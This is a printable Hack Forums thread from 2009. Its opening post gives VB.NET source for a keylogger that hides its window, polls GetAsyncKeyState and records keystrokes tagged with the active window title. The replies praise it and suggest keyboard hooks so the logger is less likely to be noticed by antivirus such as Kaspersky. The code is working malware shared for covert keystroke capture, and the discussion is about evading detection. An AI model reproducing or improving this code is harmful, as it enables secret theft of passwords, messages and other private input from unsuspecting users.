Hack Forums
[.NET] [VB .NET] Keylogger GetAsyncKey - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [VB .NET] Keylogger GetAsyncKey (/showthread.php?tid=191136)

Pages: Pages 1 2 3


[VB .NET] Keylogger GetAsyncKey - Soul Collector - Nov 25, 2009

Hello this is just little example for your keylogger, GetAsyncKey.. Its from my old project so dont blame me if it got errors :P tell me i'll fix them :D

Under the Public Class Form1 add:

Code
Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim result As Integer
Private Declare Function GetActiveWindow Lib "user32" () As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
    Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As IntPtr, ByRef lpdwProcessID As Integer) As Integer
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hWnd As IntPtr, ByVal WinTitle As String, ByVal MaxLength As Integer) As Integer
    Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Integer
    Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Integer, ByVal dwExtraInfo As Integer)
    Private Const VK_SNAPSHOT As Short = &H2CS


Add Timer1 and write code:

Code
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Me.Hide()
        Dim hWnd As IntPtr = GetForegroundWindow()

        If hWnd = IntPtr.Zero Then Exit Sub

        Dim TitleLength As Integer

        TitleLength = GetWindowTextLength(hWnd)

        Dim WindowTitle As String = StrDup(TitleLength + 1, "*")

        GetWindowText(hWnd, WindowTitle, TitleLength + 1)

        Dim pid As Integer = 0

        GetWindowThreadProcessId(hWnd, pid)

        If pid = 0 Then Exit Sub

        Dim proc As Process = Process.GetProcessById(pid)

        If proc Is Nothing Then Exit Sub

        Dim txtProcessID = pid.ToString

        Dim txtProcessName = proc.ProcessName

        Dim txtProcessTitle = proc.MainWindowTitle

        Dim txtCurrentWindowTitle = WindowTitle

        Dim txtTitleLength = TitleLength.ToString

        For i = 1 To 130
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                If (GetAsyncKeyState(107)) Then
                    TextBox1.Text = TextBox1.Text + "+"

                ElseIf (GetAsyncKeyState(59)) Then
                    TextBox1.Text = TextBox1.Text + ";"

                ElseIf (GetAsyncKeyState(95)) Then
                    TextBox1.Text = TextBox1.Text + "_"

                ElseIf (GetAsyncKeyState(95)) Then
                    TextBox1.Text = TextBox1.Text + "_"

                ElseIf (GetAsyncKeyState(59)) Then
                    TextBox1.Text = TextBox1.Text + ";"

                ElseIf (GetAsyncKeyState(58)) Then
                    TextBox1.Text = TextBox1.Text + ":"

                ElseIf (GetAsyncKeyState(47)) Then
                    TextBox1.Text = TextBox1.Text + "/"

                ElseIf (GetAsyncKeyState(63)) Then
                    TextBox1.Text = TextBox1.Text + "?"

                ElseIf (GetAsyncKeyState(64)) Then
                    TextBox1.Text = TextBox1.Text + "@"

                ElseIf (GetAsyncKeyState(126)) Then
                    TextBox1.Text = TextBox1.Text + "~"

                ElseIf (GetAsyncKeyState(35)) Then
                    TextBox1.Text = TextBox1.Text + "#"

                ElseIf (GetAsyncKeyState(44)) Then
                    TextBox1.Text = TextBox1.Text + ","

                ElseIf (GetAsyncKeyState(60)) Then
                    TextBox1.Text = TextBox1.Text + "<"

                ElseIf (GetAsyncKeyState(62)) Then
                    TextBox1.Text = TextBox1.Text + ">"

                ElseIf (GetAsyncKeyState(124)) Then
                    TextBox1.Text = TextBox1.Text + "|"

                ElseIf (GetAsyncKeyState(48)) Then
                    TextBox1.Text = TextBox1.Text + "0"

                ElseIf (GetAsyncKeyState(49)) Then
                    TextBox1.Text = TextBox1.Text + "1"

                ElseIf (GetAsyncKeyState(50)) Then
                    TextBox1.Text = TextBox1.Text + "2"

                ElseIf (GetAsyncKeyState(51)) Then
                    TextBox1.Text = TextBox1.Text + "3"

                ElseIf (GetAsyncKeyState(52)) Then
                    TextBox1.Text = TextBox1.Text + "4"

                ElseIf (GetAsyncKeyState(53)) Then
                    TextBox1.Text = TextBox1.Text + "5"

                ElseIf (GetAsyncKeyState(54)) Then
                    TextBox1.Text = TextBox1.Text + "6"

                ElseIf (GetAsyncKeyState(55)) Then
                    TextBox1.Text = TextBox1.Text + "7"

                ElseIf (GetAsyncKeyState(56)) Then
                    TextBox1.Text = TextBox1.Text + "8"

                ElseIf (GetAsyncKeyState(57)) Then
                    TextBox1.Text = TextBox1.Text + "9"

                ElseIf (GetAsyncKeyState(65)) Then
                    TextBox1.Text = TextBox1.Text + "a"

                ElseIf (GetAsyncKeyState(66)) Then
                    TextBox1.Text = TextBox1.Text + "b"

                ElseIf (GetAsyncKeyState(67)) Then
                    TextBox1.Text = TextBox1.Text + "c"

                ElseIf (GetAsyncKeyState(68)) Then
                    TextBox1.Text = TextBox1.Text + "d"

                ElseIf (GetAsyncKeyState(69)) Then
                    TextBox1.Text = TextBox1.Text + "e"

                ElseIf (GetAsyncKeyState(70)) Then
                    TextBox1.Text = TextBox1.Text + "f"

                ElseIf (GetAsyncKeyState(71)) Then
                    TextBox1.Text = TextBox1.Text + "g"

                ElseIf (GetAsyncKeyState(72)) Then
                    TextBox1.Text = TextBox1.Text + "h"

                ElseIf (GetAsyncKeyState(73)) Then
                    TextBox1.Text = TextBox1.Text + "i"

                ElseIf (GetAsyncKeyState(74)) Then
                    TextBox1.Text = TextBox1.Text + "j"

                ElseIf (GetAsyncKeyState(75)) Then
                    TextBox1.Text = TextBox1.Text + "k"

                ElseIf (GetAsyncKeyState(76)) Then
                    TextBox1.Text = TextBox1.Text + "l"

                ElseIf (GetAsyncKeyState(77)) Then
                    TextBox1.Text = TextBox1.Text + "m"

                ElseIf (GetAsyncKeyState(78)) Then
                    TextBox1.Text = TextBox1.Text + "n"

                ElseIf (GetAsyncKeyState(79)) Then
                    TextBox1.Text = TextBox1.Text + "o"

                ElseIf (GetAsyncKeyState(80)) Then
                    TextBox1.Text = TextBox1.Text + "p"

                ElseIf (GetAsyncKeyState(81)) Then
                    TextBox1.Text = TextBox1.Text + "q"

                ElseIf (GetAsyncKeyState(82)) Then
                    TextBox1.Text = TextBox1.Text + "r"

                ElseIf (GetAsyncKeyState(83)) Then
                    TextBox1.Text = TextBox1.Text + "s"

                ElseIf (GetAsyncKeyState(84)) Then
                    TextBox1.Text = TextBox1.Text + "t"

                ElseIf (GetAsyncKeyState(85)) Then
                    TextBox1.Text = TextBox1.Text + "u"

                ElseIf (GetAsyncKeyState(86)) Then
                    TextBox1.Text = TextBox1.Text + "v"

                ElseIf (GetAsyncKeyState(87)) Then
                    TextBox1.Text = TextBox1.Text + "w"

                ElseIf (GetAsyncKeyState(88)) Then
                    TextBox1.Text = TextBox1.Text + "x"

                ElseIf (GetAsyncKeyState(89)) Then
                    TextBox1.Text = TextBox1.Text + "y"

                ElseIf (GetAsyncKeyState(90)) Then
                    TextBox1.Text = TextBox1.Text + "z"

                ElseIf (GetAsyncKeyState(8)) Then
                    TextBox1.Text = TextBox1.Text + "[Back]"

                ElseIf (GetAsyncKeyState(27)) Then
                    TextBox1.Text = TextBox1.Text + "[Esc]"

                ElseIf (GetAsyncKeyState(35)) Then
                    TextBox1.Text = TextBox1.Text + "[End]"

                ElseIf (GetAsyncKeyState(33)) Then
                    TextBox1.Text = TextBox1.Text + "[PageUp]"

                ElseIf (GetAsyncKeyState(34)) Then
                    TextBox1.Text = TextBox1.Text + "[Pagedown]"

                ElseIf (GetAsyncKeyState(36)) Then
                    TextBox1.Text = TextBox1.Text + "[Home]"

                ElseIf (GetAsyncKeyState(37)) Then
                    TextBox1.Text = TextBox1.Text + "[Left]"

                ElseIf (GetAsyncKeyState(38)) Then
                    TextBox1.Text = TextBox1.Text + "[Up]"

                ElseIf (GetAsyncKeyState(39)) Then
                    TextBox1.Text = TextBox1.Text + "[Right]"

                ElseIf (GetAsyncKeyState(40)) Then
                    TextBox1.Text = TextBox1.Text + "[Down]"

                ElseIf (GetAsyncKeyState(45)) Then
                    TextBox1.Text = TextBox1.Text + "[Ins]"

                ElseIf (GetAsyncKeyState(46)) Then
                    TextBox1.Text = TextBox1.Text + "[Del]"

                ElseIf (GetAsyncKeyState(144)) Then
                    TextBox1.Text = TextBox1.Text + "[NumLock]"

                ElseIf (GetAsyncKeyState(112)) Then
                    TextBox1.Text = TextBox1.Text + "[F1]"

                ElseIf (GetAsyncKeyState(113)) Then
                    TextBox1.Text = TextBox1.Text + "[F2]"

                ElseIf (GetAsyncKeyState(114)) Then
                    TextBox1.Text = TextBox1.Text + "[F3]"

                ElseIf (GetAsyncKeyState(115)) Then
                    TextBox1.Text = TextBox1.Text + "[F4]"

                ElseIf (GetAsyncKeyState(116)) Then
                    TextBox1.Text = TextBox1.Text + "[F5]"

                ElseIf (GetAsyncKeyState(117)) Then
                    TextBox1.Text = TextBox1.Text + "[F6]"

                ElseIf (GetAsyncKeyState(118)) Then
                    TextBox1.Text = TextBox1.Text + "[F7]"

                ElseIf (GetAsyncKeyState(119)) Then
                    TextBox1.Text = TextBox1.Text + "[F8]"

                ElseIf (GetAsyncKeyState(120)) Then
                    TextBox1.Text = TextBox1.Text + "[F9]"

                ElseIf (GetAsyncKeyState(121)) Then
                    TextBox1.Text = TextBox1.Text + "[F10]"

                ElseIf (GetAsyncKeyState(122)) Then
                    TextBox1.Text = TextBox1.Text + "[F11]"

                ElseIf (GetAsyncKeyState(123)) Then
                    TextBox1.Text = TextBox1.Text + "[F12]"

                ElseIf (GetAsyncKeyState(16)) Then
                    TextBox1.Text = TextBox1.Text + "[Shift]"

                ElseIf (GetAsyncKeyState(96)) Then
                    TextBox1.Text = TextBox1.Text + "0"

                ElseIf (GetAsyncKeyState(97)) Then
                    TextBox1.Text = TextBox1.Text + "1"

                ElseIf (GetAsyncKeyState(98)) Then
                    TextBox1.Text = TextBox1.Text + "2"

                ElseIf (GetAsyncKeyState(99)) Then
                    TextBox1.Text = TextBox1.Text + "3"

                ElseIf (GetAsyncKeyState(100)) Then
                    TextBox1.Text = TextBox1.Text + "4"

                ElseIf (GetAsyncKeyState(101)) Then
                    TextBox1.Text = TextBox1.Text + "5"

                ElseIf (GetAsyncKeyState(102)) Then
                    TextBox1.Text = TextBox1.Text + "6"

                ElseIf (GetAsyncKeyState(103)) Then
                    TextBox1.Text = TextBox1.Text + "7"

                ElseIf (GetAsyncKeyState(104)) Then
                    TextBox1.Text = TextBox1.Text + "8"

                ElseIf (GetAsyncKeyState(105)) Then
                    TextBox1.Text = TextBox1.Text + "9"

                ElseIf (GetAsyncKeyState(106)) Then
                    TextBox1.Text = TextBox1.Text + "*"

                ElseIf (GetAsyncKeyState(108)) Then
                    TextBox1.Text = TextBox1.Text + "" & vbCrLf
                    TextBox1.Text = TextBox1.Text + "[" + txtProcessTitle + "]"
                ElseIf (GetAsyncKeyState(32)) Then
                    TextBox1.Text = TextBox1.Text + " "

                ElseIf (GetAsyncKeyState(109)) Then
                    TextBox1.Text = TextBox1.Text + "-"


                ElseIf (GetAsyncKeyState(110)) Then
                    TextBox1.Text = TextBox1.Text + "."

                ElseIf (GetAsyncKeyState(111)) Then
                    TextBox1.Text = TextBox1.Text + "/"

                ElseIf (GetAsyncKeyState(42)) Then
                    TextBox1.Text = TextBox1.Text + "[PrintScreen]"

                ElseIf (GetAsyncKeyState(43)) Then
                    TextBox1.Text = TextBox1.Text + "[Execute]"

                ElseIf (GetAsyncKeyState(43)) Then
                    TextBox1.Text = TextBox1.Text + "[Snapshot]"

                ElseIf (GetAsyncKeyState(41)) Then
                    TextBox1.Text = TextBox1.Text + "[Select]"

                ElseIf (GetAsyncKeyState(19)) Then
                    TextBox1.Text = TextBox1.Text + "[Pause]"

                ElseIf (GetAsyncKeyState(20)) Then
                    TextBox1.Text = TextBox1.Text + "[CapsLock]"

                ElseIf (GetAsyncKeyState(17)) Then
                    TextBox1.Text = TextBox1.Text + "[Ctrl]"

                ElseIf (GetAsyncKeyState(13)) Then
                    TextBox1.Text = TextBox1.Text + "" & vbCrLf
                    TextBox1.Text = TextBox1.Text + "[" + txtProcessTitle + "]"
                ElseIf (GetAsyncKeyState(9)) Then
                    TextBox1.Text = TextBox1.Text + "[Tab]"

                ElseIf (GetAsyncKeyState(12)) Then
                    TextBox1.Text = TextBox1.Text + "[Clear]"

                ElseIf (GetAsyncKeyState(3)) Then
                    TextBox1.Text = TextBox1.Text + "[Cancel]"

                End If
            End If
        Next i
    End Sub



* - bikezone - Nov 30, 2009

nice tut soul collector


* - d4t4st34l - Nov 30, 2009

Thank's a lot for this tutorial
I like it !
I was shearching it !


* - Vorfin - Nov 30, 2009

Nooooo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!"


* - BlueMelon - Nov 30, 2009

(Nov 30, 2009 09:38 AM)Vorfin Wrote:  Nooooo, use hooks, and loops lol. This will spike your CPU so high it will be like slapping Kaspersky on the dick and yelling "Hey, I'm a keylogger!"

You took that quote from GeneralDee I think lol..

But yes, hooks are better.


* - Soul Collector - Dec 1, 2009

Yup much better. :) But dunno .. wanted to share this too lol :P


* - -viperx28- - Dec 4, 2009

Very Nice Tutorial Soul Collector


* - Estemarilix - Dec 4, 2009

Very nice tutorial indeed.But still hooks are better.
But you can rarely find this code also thanks for sharing :)


* - Vorfin - Dec 4, 2009

(Nov 30, 2009 05:47 PM)BlueMelon Wrote:  You took that quote from GeneralDee I think lol..

But yes, hooks are better.

Yeah, well, I think it was in his sig at LC, not sure who said it first.


* - omidt - Dec 26, 2009

im looking for one that i can get all keys like !@#$%^&*() and when i use [email protected] it dont show omid[shift]2009[shift]yahoo.com and sometimes when i type fast it dont get key :((


* - The End Gamer - Dec 26, 2009

Great Share Soul collector
Thanks Dude


* - shakree42 - Mar 16, 2010

really hope if theres a public hooks tutorial ;|


* - rawi16 - Mar 16, 2010

if u really need , then buy leet ^^


* - Carnival - Mar 16, 2010

One more great tut by soul collector. U really help the noobs a lot.

Continue this good work in future too.


* - Deathader - Mar 16, 2010

GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN. GET A HOOKER MAN.